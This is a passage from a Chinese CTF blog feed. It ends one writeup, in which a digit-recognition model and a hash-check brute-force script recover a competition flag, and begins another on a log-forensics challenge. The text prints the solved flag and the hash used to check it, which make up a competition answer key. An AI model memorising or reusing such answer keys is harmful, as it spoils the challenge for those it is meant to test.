class="subst">&#123;cls&#125;</span>: <span class="subst">&#123;conf:<span class="number">.4</span>f&#125;</span>&quot;</span>)</span><br><span class="line">                </span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n处理图像 <span class="subst">&#123;img_path&#125;</span> 时出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> results</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    model_path = <span class="string">&quot;./password.pt&quot;</span></span><br><span class="line">    </span><br><span class="line">    image_paths = [<span class="string">f&quot;./flag/<span class="subst">&#123;i&#125;</span>.bmp&quot;</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">14</span>)]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;分析数字图像...&quot;</span>)</span><br><span class="line">    predictions = predict_images(model_path, image_paths)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n预测结果摘要:&quot;</span>)</span><br><span class="line">    predicted_digits = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> p <span class="keyword">in</span> predictions:</span><br><span class="line">        predicted_digits += <span class="built_in">str</span>(p[<span class="string">&#x27;prediction&#x27;</span>])</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;数字序列: <span class="subst">&#123;predicted_digits&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        ascii_text = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(predicted_digits), <span class="number">2</span>):</span><br><span class="line">            <span class="keyword">if</span> i+<span class="number">1</span> &lt; <span class="built_in">len</span>(predicted_digits):</span><br><span class="line">                char_code = <span class="built_in">int</span>(predicted_digits[i:i+<span class="number">2</span>])</span><br><span class="line">                <span class="keyword">if</span> <span class="number">32</span> &lt;= char_code &lt;= <span class="number">126</span>:</span><br><span class="line">                    ascii_text += <span class="built_in">chr</span>(char_code)</span><br><span class="line">        <span class="keyword">if</span> ascii_text:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;可能的ASCII文本: <span class="subst">&#123;ascii_text&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;转换ASCII时出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>能够得到这样的数据</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br></pre></td><td class="code"><pre><span class="line">图像 0.bmp 预测结果:</span><br><span class="line">预测为: 8, 最高置信度: 0.5042</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 8: 0.5042</span><br><span class="line">  类别 0: 0.4952</span><br><span class="line">  类别 9: 0.0003</span><br><span class="line">  类别 2: 0.0001</span><br><span class="line">  类别 5: 0.0001</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line"></span><br><span class="line">图像 1.bmp 预测结果:</span><br><span class="line">预测为: 1, 最高置信度: 0.9922</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 1: 0.9922</span><br><span class="line">  类别 7: 0.0073</span><br><span class="line">  类别 4: 0.0003</span><br><span class="line">  类别 8: 0.0002</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 5: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line"></span><br><span class="line">图像 2.bmp 预测结果:</span><br><span class="line">预测为: 2, 最高置信度: 0.9129</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 2: 0.9129</span><br><span class="line">  类别 8: 0.0871</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line">  类别 5: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line"></span><br><span class="line">图像 3.bmp 预测结果:</span><br><span class="line">预测为: 9, 最高置信度: 0.7812</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 9: 0.7812</span><br><span class="line">  类别 3: 0.1638</span><br><span class="line">  类别 5: 0.0448</span><br><span class="line">  类别 8: 0.0102</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line"></span><br><span class="line">图像 4.bmp 预测结果:</span><br><span class="line">预测为: 4, 最高置信度: 0.9690</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 4: 0.9690</span><br><span class="line">  类别 7: 0.0152</span><br><span class="line">  类别 1: 0.0140</span><br><span class="line">  类别 9: 0.0016</span><br><span class="line">  类别 5: 0.0002</span><br><span class="line">  类别 8: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line"></span><br><span class="line">图像 5.bmp 预测结果:</span><br><span class="line">预测为: 6, 最高置信度: 0.6037</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 6: 0.6037</span><br><span class="line">  类别 5: 0.3927</span><br><span class="line">  类别 8: 0.0034</span><br><span class="line">  类别 4: 0.0001</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line"></span><br><span class="line">图像 6.bmp 预测结果:</span><br><span class="line">预测为: 8, 最高置信度: 0.6195</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 8: 0.6195</span><br><span class="line">  类别 6: 0.3054</span><br><span class="line">  类别 5: 0.0751</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line"></span><br><span class="line">图像 7.bmp 预测结果:</span><br><span class="line">预测为: 7, 最高置信度: 0.5370</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 7: 0.5370</span><br><span class="line">  类别 8: 0.4267</span><br><span class="line">  类别 1: 0.0317</span><br><span class="line">  类别 9: 0.0033</span><br><span class="line">  类别 0: 0.0010</span><br><span class="line">  类别 2: 0.0002</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 5: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line"></span><br><span class="line">图像 8.bmp 预测结果:</span><br><span class="line">预测为: 8, 最高置信度: 0.8916</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 8: 0.8916</span><br><span class="line">  类别 3: 0.1081</span><br><span class="line">  类别 5: 0.0003</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line"></span><br><span class="line">图像 9.bmp 预测结果:</span><br><span class="line">预测为: 8, 最高置信度: 0.5110</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 8: 0.5110</span><br><span class="line">  类别 9: 0.4890</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 5: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line"></span><br><span class="line">图像 10.bmp 预测结果:</span><br><span class="line">预测为: 9, 最高置信度: 0.9950</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 9: 0.9950</span><br><span class="line">  类别 4: 0.0046</span><br><span class="line">  类别 7: 0.0003</span><br><span class="line">  类别 8: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 5: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line"></span><br><span class="line">图像 11.bmp 预测结果:</span><br><span class="line">预测为: 0, 最高置信度: 0.5646</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 0: 0.5646</span><br><span class="line">  类别 8: 0.4350</span><br><span class="line">  类别 6: 0.0003</span><br><span class="line">  类别 3: 0.0001</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 5: 0.0000</span><br><span class="line">  类别 2: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line"></span><br><span class="line">图像 12.bmp 预测结果:</span><br><span class="line">预测为: 8, 最高置信度: 0.8498</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 8: 0.8498</span><br><span class="line">  类别 5: 0.0835</span><br><span class="line">  类别 2: 0.0667</span><br><span class="line">  类别 7: 0.0000</span><br><span class="line">  类别 4: 0.0000</span><br><span class="line">  类别 1: 0.0000</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br><span class="line"></span><br><span class="line">图像 13.bmp 预测结果:</span><br><span class="line">预测为: 5, 最高置信度: 0.9871</span><br><span class="line">所有类别置信度:</span><br><span class="line">  类别 5: 0.9871</span><br><span class="line">  类别 7: 0.0125</span><br><span class="line">  类别 2: 0.0002</span><br><span class="line">  类别 1: 0.0001</span><br><span class="line">  类别 4: 0.0001</span><br><span class="line">  类别 6: 0.0000</span><br><span class="line">  类别 3: 0.0000</span><br><span class="line">  类别 9: 0.0000</span><br><span class="line">  类别 8: 0.0000</span><br><span class="line">  类别 0: 0.0000</span><br></pre></td></tr></table></figure><p>也就是说，图片1~13分别可能是</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">candidates = [</span><br><span class="line">    [<span class="number">8</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="number">5</span>],    <span class="comment"># 0.bmp: 8(0.5042), 0(0.4952)</span></span><br><span class="line">    [<span class="number">1</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="number">8</span>],       <span class="comment"># 1.bmp: 1(0.9922)</span></span><br><span class="line">    [<span class="number">2</span>, <span class="number">8</span>],       <span class="comment"># 2.bmp: 2(0.9129)</span></span><br><span class="line">    [<span class="number">9</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">8</span>], <span class="comment"># 3.bmp: 9(0.7812), 3(0.1638), 5(0.0448)</span></span><br><span class="line">    [<span class="number">4</span>, <span class="number">7</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">5</span>],       <span class="comment"># 4.bmp: 4(0.9690)</span></span><br><span class="line">    [<span class="number">6</span>, <span class="number">5</span>, <span class="number">8</span>, <span class="number">4</span>],    <span class="comment"># 5.bmp: 6(0.6037), 5(0.3927)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">6</span>, <span class="number">5</span>], <span class="comment"># 6.bmp: 8(0.6195), 6(0.3053), 5(0.0751)</span></span><br><span class="line">    [<span class="number">7</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">2</span>],    <span class="comment"># 7.bmp: 7(0.5370), 8(0.4267)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">3</span>, <span class="number">5</span>],       <span class="comment"># 8.bmp: 8(0.8916)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">9</span>],    <span class="comment"># 9.bmp: 8(0.5110), 9(0.4890)</span></span><br><span class="line">    [<span class="number">9</span>, <span class="number">4</span>, <span class="number">7</span>],       <span class="comment"># 10.bmp: 9(0.9950)</span></span><br><span class="line">    [<span class="number">0</span>, <span class="number">8</span>, <span class="number">6</span>, <span class="number">3</span>],    <span class="comment"># 11.bmp: 0(0.5646), 8(0.4350)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">5</span>, <span class="number">2</span>],       <span class="comment"># 12.bmp: 8(0.8498)</span></span><br><span class="line">    [<span class="number">5</span>]        <span class="comment"># 13.bmp: 5(0.9871)</span></span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>于是写了这样的一个爆破脚本（即这个位置可能是什么东西，列举出所有的可能进行爆破求解）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> uuid</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> product</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义每个位置的候选数字（置信度&gt;0的）</span></span><br><span class="line">candidates = [</span><br><span class="line">    [<span class="number">8</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="number">5</span>],    <span class="comment"># 0.bmp: 8(0.5042), 0(0.4952)</span></span><br><span class="line">    [<span class="number">1</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="number">8</span>],       <span class="comment"># 1.bmp: 1(0.9922)</span></span><br><span class="line">    [<span class="number">2</span>, <span class="number">8</span>],       <span class="comment"># 2.bmp: 2(0.9129)</span></span><br><span class="line">    [<span class="number">9</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">8</span>], <span class="comment"># 3.bmp: 9(0.7812), 3(0.1638), 5(0.0448)</span></span><br><span class="line">    [<span class="number">4</span>, <span class="number">7</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">5</span>],       <span class="comment"># 4.bmp: 4(0.9690)</span></span><br><span class="line">    [<span class="number">6</span>, <span class="number">5</span>, <span class="number">8</span>, <span class="number">4</span>],    <span class="comment"># 5.bmp: 6(0.6037), 5(0.3927)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">6</span>, <span class="number">5</span>], <span class="comment"># 6.bmp: 8(0.6195), 6(0.3053), 5(0.0751)</span></span><br><span class="line">    [<span class="number">7</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">2</span>],    <span class="comment"># 7.bmp: 7(0.5370), 8(0.4267)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">3</span>, <span class="number">5</span>],       <span class="comment"># 8.bmp: 8(0.8916)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">9</span>],    <span class="comment"># 9.bmp: 8(0.5110), 9(0.4890)</span></span><br><span class="line">    [<span class="number">9</span>, <span class="number">4</span>, <span class="number">7</span>],       <span class="comment"># 10.bmp: 9(0.9950)</span></span><br><span class="line">    [<span class="number">0</span>, <span class="number">8</span>, <span class="number">6</span>, <span class="number">3</span>],    <span class="comment"># 11.bmp: 0(0.5646), 8(0.4350)</span></span><br><span class="line">    [<span class="number">8</span>, <span class="number">5</span>, <span class="number">2</span>],       <span class="comment"># 12.bmp: 8(0.8498)</span></span><br><span class="line">    [<span class="number">5</span>]        <span class="comment"># 13.bmp: 5(0.9871)</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成所有可能的组合</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_combinations</span>():</span><br><span class="line">    <span class="comment"># 对于每个位置，按置信度从高到低排序候选数字</span></span><br><span class="line">    ordered_candidates = []</span><br><span class="line">    <span class="keyword">for</span> pos <span class="keyword">in</span> candidates:</span><br><span class="line">        ordered_candidates.append(pos)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 生成所有可能的组合</span></span><br><span class="line">    <span class="keyword">return</span> product(*ordered_candidates)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查flag是否正确</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_flag</span>(<span class="params">flag_str</span>):</span><br><span class="line">    final_flag = <span class="string">&quot;dart&#123;&quot;</span> + <span class="built_in">str</span>(uuid.uuid3(uuid.UUID(<span class="string">&#x27;11341600-1542-4ee8-b148-23940f18186b&#x27;</span>), flag_str)) + <span class="string">&quot;&#125;&quot;</span></span><br><span class="line">    <span class="keyword">if</span> hashlib.sha256(final_flag.encode(<span class="string">&quot;utf8&quot;</span>)).hexdigest() == <span class="string">&quot;115159c751ddf16c527ee96f998ed55ed8a3302f2fd04ba60682493883901684&quot;</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;找到正确flag!&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正确flag:&quot;</span>, final_flag)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 爆破函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">brute_force</span>():</span><br><span class="line">    total = <span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> candidates:</span><br><span class="line">        total *= <span class="built_in">len</span>(c)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;总共有 <span class="subst">&#123;total&#125;</span> 种可能的组合&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    tried = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> combo <span class="keyword">in</span> generate_combinations():</span><br><span class="line">        tried += <span class="number">1</span></span><br><span class="line">        flag_str = <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">map</span>(<span class="built_in">str</span>, combo))</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 每10000次尝试打印一次进度</span></span><br><span class="line">        <span class="keyword">if</span> tried % <span class="number">10000</span> == <span class="number">0</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;已尝试 <span class="subst">&#123;tried&#125;</span>/<span class="subst">&#123;total&#125;</span> 组合, 当前尝试: <span class="subst">&#123;flag_str&#125;</span>&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> check_flag(flag_str):</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;未找到匹配的flag&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    brute_force()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>最后得到flag</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/Code_fca6TjyZYb.png"></p><p><code>dart&#123;2855dc9b-b8c2-3c82-86d9-6afa9111b715&#125;</code></p><h3 id="咕咕咕"><a href="#咕咕咕" class="headerlink" title="咕咕咕"></a>咕咕咕</h3><p>剩下的有空再写</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这次主要还是凸显了几个不足的地方吧，首先是工具不够，本来就是线下赛没有网的我们还没有提前下好 bkcrack 这种工具；其次还是经验太少了，对于 Windows 的域渗透取证，我们还是没就接触过，虽然以前做过 Windows 的取证，但那个不是域的，所以是经验太少了。</p><p>说实话，比赛的后半程有点坐牢，因为我们在努力找取证题的答案，但是找不到，很难受</p><p>不知道到底进多少个队，据说是 19 个，如果是 19 个的话我们能进决赛，等通知了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="CCSSSC" scheme="https://bili33.top/tags/CCSSSC/"/>
    
    <category term="Offline" scheme="https://bili33.top/tags/Offline/"/>
    
  </entry>
  
  <entry>
    <title>【Volcania】2025 数字创新中国大赛数字安全赛道时空数据安全赛题暨三明市第五届“红名谷”杯大赛初赛 Writeup</title>
    <link href="https://bili33.top/posts/CTF-Hongminggu2025-Preliminary-round-Writeup/"/>
    <id>https://bili33.top/posts/CTF-Hongminggu2025-Preliminary-round-Writeup/</id>
    <published>2025-03-22T07:30:29.000Z</published>
    <updated>2026-03-31T05:59:59.341Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h3 id="异常行为溯源-Luminoria-Ron"><a href="#异常行为溯源-Luminoria-Ron" class="headerlink" title="异常行为溯源 | @Luminoria @Ron"></a>异常行为溯源 | @Luminoria @Ron</h3><blockquote><p>某企业网络安全部门人员正在对企业网络资产受到的攻击行为进行溯源分析，该工作人员发现攻击者删除了一段时间内的访问日志数据，但是攻击者曾传输过已被删除的访问日志数据并且被流量监控设备捕获，工作人员对流量数据进行了初步过滤并提取出了相应数据包。已知该攻击者在开始时曾尝试低密度的攻击，发现未被相关安全人员及时发现后进行了连续多日的攻击，请协助企业排查并定位攻击者IP，flag格式为：flag{md5(IP)}</p></blockquote><p>出现了三种协议：TCP、giFT 和 X11</p><p>只把 TCP 提取出来的 log 并不完整，缺少了很多东西，giFT 数据量太少且不具有参考价值</p><p>但是可以看到数据的格式</p><p>最开始是经过 Base64 编码的内容，例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eyJtc2ciOiJNemt1TVRrekxqWTJMakkwTlMwZ0xTQmJNRGd2U21GdUx6SXdNalU2TVRrNk5EUTZOVGtnS3pBd01EQmRJQ0pIUlZRZ0wyRndjQzlzYVhOMExuQm9jQ0JJVkZSUUx6RXVNU0lnTWpBd0lETTBOek1nSWkwaUlDSlBjR1Z5WVM4NUxqWTRMaWhZTVRFN0lFeHBiblY0SUdrMk9EWTdJR2xrTFVsRUtTQlFjbVZ6ZEc4dk1pNDVMakUzT0NCV1pYSnphVzl1THpFeExqQXdJZ289IiwidHlwZSI6IkxvZy1EYXRhIn0=</span><br></pre></td></tr></table></figure><p>经过解码后是 json</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span><span 